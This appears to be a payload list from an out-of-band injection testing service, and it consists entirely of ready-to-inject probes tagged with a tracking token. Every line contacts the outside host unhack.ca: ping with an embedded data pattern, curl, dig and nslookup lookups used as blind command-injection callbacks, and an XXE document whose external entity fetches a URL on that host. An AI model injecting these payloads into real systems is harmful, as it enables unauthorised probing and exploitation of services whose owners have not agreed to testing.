$ ping -c1 -p 0040bbfd02ab4e587b43240c3467b400 unhack.ca
$ curl http://unhack.ca/p/40bbfd02ab4e587b43240c3467b4
$ dig 40bbfd02ab4e587b43240c3467b4 @unhack.ca
$ dig 40bbfd02ab4e587b43240c3467b4.ns.unhack.ca
C:\> nslookup 40bbfd02ab4e587b43240c3467b4 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/40bbfd02ab4e587b43240c3467b4">]> <foo>&xxe;</foo>